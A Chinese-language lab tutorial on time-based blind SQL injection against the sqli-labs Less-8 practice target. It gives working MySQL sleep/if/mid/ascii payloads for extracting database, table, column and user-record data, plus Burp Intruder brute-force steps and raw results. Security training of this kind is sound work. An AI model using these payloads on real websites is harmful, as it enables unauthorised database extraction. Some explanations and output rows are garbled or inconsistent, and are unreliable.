SQL盲注:基于时间延迟注入

靶场环境搭建

所需软件

Phpstudy2016,sql注入靶场文件 Phpstduy 官网下载地址:https://www.xp.cn/
sql注入靶场下载地址:https://github.com/Audi-1/sqli-labs

下载安装 phpstudy,下载sql注入靶场文件压缩包,

解压文件靶场环境文件,放到 phpstudy 文件目录下的 WWW 文件夹下,

然后运行 phpstudy

然后访问,http://localhost/,或者 http://127.0.0.1

点击 Setup/reset Database for labs 选项安装靶场数据库等文件

出现这个就说明安装完成

返回访问 http://127.0.0.1 主页就行

对照 ascii 表

控制字符ASCII 值控制字符ASCII 值控制字符ASCII 值控制字符
NUT32(space)64@96
SOH33!65A97a
STX3466B98b
ETX35#67C99c
EOT36$68D100d
ENQ37%69E101e
ACK38&70F102f
BEL39,71G103g
BS40(72H104h
HT41)73I105i
LF42*74J106j
VT43+75K107k
FF44,76L108l
CR45-77M109m
SO46.78N110n
SI47/79O111o
DLE48080P112p
DCI49181Q113q
DC250282R114r
DC351383S115s
DC452484T116t
NAK53585U117u
SYN54686V118v
TB55787W119w
CAN56888X120x
EM57989Y121y
SUB58:90Z122z
ESC59;91[123{
FS60<92/124|
GS61=93]125}
RS62>94^126`
US63?95_127DEL

本次 sql 延时注入选择的是第八关(图中所示)。

SQL 注入工具采用的基本都为盲注及其它注入。这里以 Mysql 盲注为示例:
何为延时注入?

所谓延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。

这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();

  • sleep() //延时

  • if(条件,True,False) //判断语句

  • mid(str,1,1) 截取 //指定字符串截取,截取字符开始长度-结束长度

  • ascii //转换为 ascii 编码

猜库名

这里先猜解一下 database()当前数据库名字,

构造语句

‘ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

该语法意思是,mid 函数方法截取
database()当前库库名第一个字符,判断第一个字符是否为 1,

  1. 对应的是 ascii 字符,如果第一个字符=其中的一个 ascii 字符,那么就延时 5
    秒,如果不等于则延时 1 秒,我们这里可以用快捷方法,直接上 burpsuite
    爆破即可访问该地址,然后抓包

http://127.0.0.1/Less-8/?id=1’ and
if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

右 键

选择 Send to intrude 发送到爆破猜解模块中

发送完成后,我们选择爆破这俩个参数

接下来选择 payload 模块

第一个参数选择这个快捷模块 Numbers

第二个模块亦是如此,不过这里填写的是所有 ascii 字符对应的十进制位数

1-127

填写完成后点击右边的 Start attack 按钮 ,开始爆破

爆破出来得到 database()库名,对应的 ascii 字符我们来拼接一下

1-115 ,2-101,3-99,4-117,5-114,6-105,7-116,8-121 对应 ascii
表最终得到库名为 security

http://127.0.0.1/Less-8/?id=1’ and
if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

判断表名长度

构造语句

’ and if(length(mid((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=4,1,sleep(5)) –+

存在延时,说明表名长度不等于 4.。

’ and if(length(mid((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=6,1,sleep(5)) –+

存在延时,说明表名长度是 6。

猜表名

构造语句

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))>113,sleep(10),1);–+

符合条件说明,第一个ascii大于113

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))>115,sleep(10),1);–+

不符合条件,第一个ascii不大于115

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))=114,sleep(10),1);–+

符合条件,说明第一个ascii码=115

这样写太麻烦,还得一个一个猜解,这里我们直接上burpsuite爆破猜解访问poc抓包

http://127.0.0.1/Less-8/index.php?id=1’and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))=113,sleep(10),1);–+

然后还像爆破猜解库名一样猜解表名

选 择 这 俩 个 参 数

然后导入字典开始爆破

最终得到表名对应的 ascii 码

1114,101,102,101,114,101,114,115

最终得到表名为 referers

如果觉得麻烦也可以同时猜解三个表名

117 97 103 101 110 116 115 uagents

再对应 ascii 码表查看一下就可以得到所有表名了。

猜列名

只需要将select语句里的

table_name 改为 column_name 以及 information_schemation.tables 改为
information_schemation.columns

就可以了。

我们来猜解一下列名

构造语句

http://127.0.0.1/Less-8/index.php?id=1'and if(ascii(mid((select column_name from
information_ schema.columns where table_schema=database() limit
1,1),1,1))>113,sleep(10),1); –+

猜字段内容

构造语句

‘ and if(ascii(mid((select username from security.users order by id limit

0,1),2,1))=117,sleep(10),1);–+

直接上 burp 爆破

同时爆破列名每一位对应的 ascii 码。

对应 ascii 码得到 email_id

爆破 users 表

爆破出来的结果

0 200 false false 926

25601 1 1 65 200 false false 926 1

38541 1 8 97 200 false false 926 1

40061 1 4 101 200 false false 926 1

40841 1 3 103 200 false false 926 1

41701 1 6 105 200 false false 926 1

42881 1 5 108 200 false false 926 1

43621 1 2 110 200 false false 926 1

43721 1 7 110 200 false false 926 1

20110 10 6 51 200 false false 926 1

38410 10 1 97 200 false false 926 1

39630 10 2 100 200 false false 926 1

41670 10 4 105 200 false false 926 1

43250 10 3 109 200 false false 926 1

43690 10 5 110 200 false false 926 1

38511 11 6 97 200 false false 926 1

38451 11 3 97 200 false false 926 1

39611 11 1 100 200 false false 926 1

41231 11 2 104 200 false false 926 1

20512 12 6 52 200 false false 926 1

39632 12 2 100 200 false false 926 1

41672 12 4 105 200 false false 926 1

43252 12 3 109 200 false false 926 1

43262 2 4 109 200 false false 926 1
4642222117 200 false false 926 1
4808225121 200 false false 926 1
4010336101 200 false false 926 1
4560331115 200 false false 926 1
4646334117 200 false false 926 1
4168445105 200 false false 926 1
4560441115 200 false false 926 1
4602442116 200 false false 926 1
4644443117 200 false false 926 1
385255797 200 false false 926 1
4330556109 200 false false 926 1
4560551115 200 false false 926 1
4642552117 200 false false 926 1
384266297 200 false false 926 1
384866597 200 false false 926 1
4326664109 200 false false 926 1
4370666110 200 false false 926 1
3962772100 200 false false 926 1
4166774105 200 false false 926 1
4368775110 200 false false 926 1
3962882100 200 false false 926 1
4324883109 200 false false 926 1
4368885110 200 false false 926 1
384099197 200 false false 926 1
3962992100 200 false false 926 1
4166994 105 200 false false 926 1
4324993 109 200 false false 926 1
4368995 110 200 false false 926 1

对应 ascii 码可以得到具体的内容信息。